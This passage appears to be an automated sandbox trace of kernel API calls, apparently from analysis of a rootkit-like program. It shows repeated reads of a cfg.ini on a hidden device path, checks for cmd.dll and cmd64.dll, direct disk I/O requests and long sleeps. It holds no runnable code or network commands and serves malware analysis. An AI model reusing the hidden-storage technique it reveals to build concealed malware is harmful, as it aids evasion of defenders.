FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.440] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.440] KeLeaveCriticalRegion () [0117.440] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.440] KeEnterCriticalRegion () [0117.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.440] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.440] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.440] KeLeaveCriticalRegion () [0117.440] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.440] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.440] KeEnterCriticalRegion () [0117.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.440] ExFreePoolWithTag (P=0xfffffa80039d9970, Tag=0x0) [0117.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.440] KeLeaveCriticalRegion () [0117.440] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.440] ReleaseMutex (hMutex=0xf0) returned 1 [0117.440] Sleep (dwMilliseconds=0x124f80) [0117.455] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.455] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.455] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.455] KeEnterCriticalRegion () [0117.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.455] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.455] IdePortDispatch () returned 0x103 [0117.455] KeWaitForMutexObject () returned 0x0 [0117.456] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.456] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.456] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.456] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.456] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.456] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c1340 [0117.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.456] KeLeaveCriticalRegion () [0117.456] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.456] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.456] KeEnterCriticalRegion () [0117.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.456] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.456] KeLeaveCriticalRegion () [0117.456] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.456] KeEnterCriticalRegion () [0117.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.456] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.456] IdePortDispatch () returned 0x103 [0117.456] KeWaitForMutexObject () returned 0x0 [0117.456] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.456] KeLeaveCriticalRegion () [0117.456] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.456] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.456] KeEnterCriticalRegion () [0117.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.457] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002caf000 [0117.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.457] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.457] IdePortDispatch () returned 0x103 [0117.457] KeWaitForMutexObject () returned 0x0 [0117.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.457] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.457] IdePortDispatch () returned 0x103 [0117.457] KeWaitForMutexObject () returned 0x0 [0117.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.457] KeLeaveCriticalRegion () [0117.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.458] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.458] KeEnterCriticalRegion () [0117.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.458] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.458] KeLeaveCriticalRegion () [0117.458] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.458] KeEnterCriticalRegion () [0117.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.458] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.458] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d94d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.458] KeLeaveCriticalRegion () [0117.458] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.458] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.458] KeEnterCriticalRegion () [0117.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.458] ExFreePoolWithTag (P=0xfffffa80039c1340, Tag=0x0) [0117.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.458] KeLeaveCriticalRegion () [0117.458] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.458] ReleaseMutex (hMutex=0xf0) returned 1 [0117.458] Sleep (dwMilliseconds=0x124f80) [0117.472] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.472] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.472] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.472] KeEnterCriticalRegion () [0117.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.472] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.472] IdePortDispatch () returned 0x103 [0117.472] KeWaitForMutexObject () returned 0x0 [0117.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.472] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.472] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.472] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.472] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.472] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d92c0 [0117.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.472] KeLeaveCriticalRegion () [0117.472] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.472] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.472] KeEnterCriticalRegion () [0117.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.472] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.472] KeLeaveCriticalRegion () [0117.472] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.472] KeEnterCriticalRegion () [0117.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.472] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.472] IdePortDispatch () returned 0x103 [0117.473] KeWaitForMutexObject () returned 0x0 [0117.473] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.473] KeLeaveCriticalRegion () [0117.473] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.473] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.473] KeEnterCriticalRegion () [0117.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.473] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb4000 [0117.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.473] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.473] IdePortDispatch () returned 0x103 [0117.473] KeWaitForMutexObject () returned 0x0 [0117.473] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.473] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.473] IdePortDispatch () returned 0x103 [0117.473] KeWaitForMutexObject () returned 0x0 [0117.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.473] KeLeaveCriticalRegion () [0117.474] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.474] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.474] KeEnterCriticalRegion () [0117.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.474] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.474] KeLeaveCriticalRegion () [0117.474] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.474] KeEnterCriticalRegion () [0117.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.474] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.474] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.474] KeLeaveCriticalRegion () [0117.474] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.474] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.474] KeEnterCriticalRegion () [0117.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.474] ExFreePoolWithTag (P=0xfffffa80039d92c0, Tag=0x0) [0117.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.474] KeLeaveCriticalRegion () [0117.474] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.474] ReleaseMutex (hMutex=0xf0) returned 1 [0117.474] Sleep (dwMilliseconds=0x124f80) [0117.490] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.490] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.490] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.490] KeEnterCriticalRegion () [0117.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.490] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.490] IdePortDispatch () returned 0x103 [0117.490] KeWaitForMutexObject () returned 0x0 [0117.490] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.490] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.490] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.490] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.490] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.490] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9ca0 [0117.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.491] KeLeaveCriticalRegion () [0117.491] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.491] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.491] KeEnterCriticalRegion () [0117.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.491] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.491] KeLeaveCriticalRegion () [0117.491] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.491] KeEnterCriticalRegion () [0117.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.491] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.491] IdePortDispatch () returned 0x103 [0117.491] KeWaitForMutexObject () returned 0x0 [0117.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.491] KeLeaveCriticalRegion () [0117.491] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.491] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.491] KeEnterCriticalRegion () [0117.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.491] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb9000 [0117.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.492] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.492] IdePortDispatch () returned 0x103 [0117.492] KeWaitForMutexObject () returned 0x0 [0117.492] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.492] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.492] IdePortDispatch () returned 0x103 [0117.492] KeWaitForMutexObject () returned 0x0 [0117.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.492] KeLeaveCriticalRegion () [0117.492] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.493] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.493] KeEnterCriticalRegion () [0117.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.493] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.493] KeLeaveCriticalRegion () [0117.493] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.493] KeEnterCriticalRegion () [0117.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.493] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.493] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.493] KeLeaveCriticalRegion () [0117.493] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.493] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.493] KeEnterCriticalRegion () [0117.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.493] ExFreePoolWithTag (P=0xfffffa80039d9ca0, Tag=0x0) [0117.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.493] KeLeaveCriticalRegion () [0117.493] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.493] ReleaseMutex (hMutex=0xf0) returned 1 [0117.493] Sleep (dwMilliseconds=0x124f80) [0117.504] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.509] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.509] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.509] KeEnterCriticalRegion () [0117.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.509] KeInitializeEvent (in: Event=0xfffff880028da2c0, 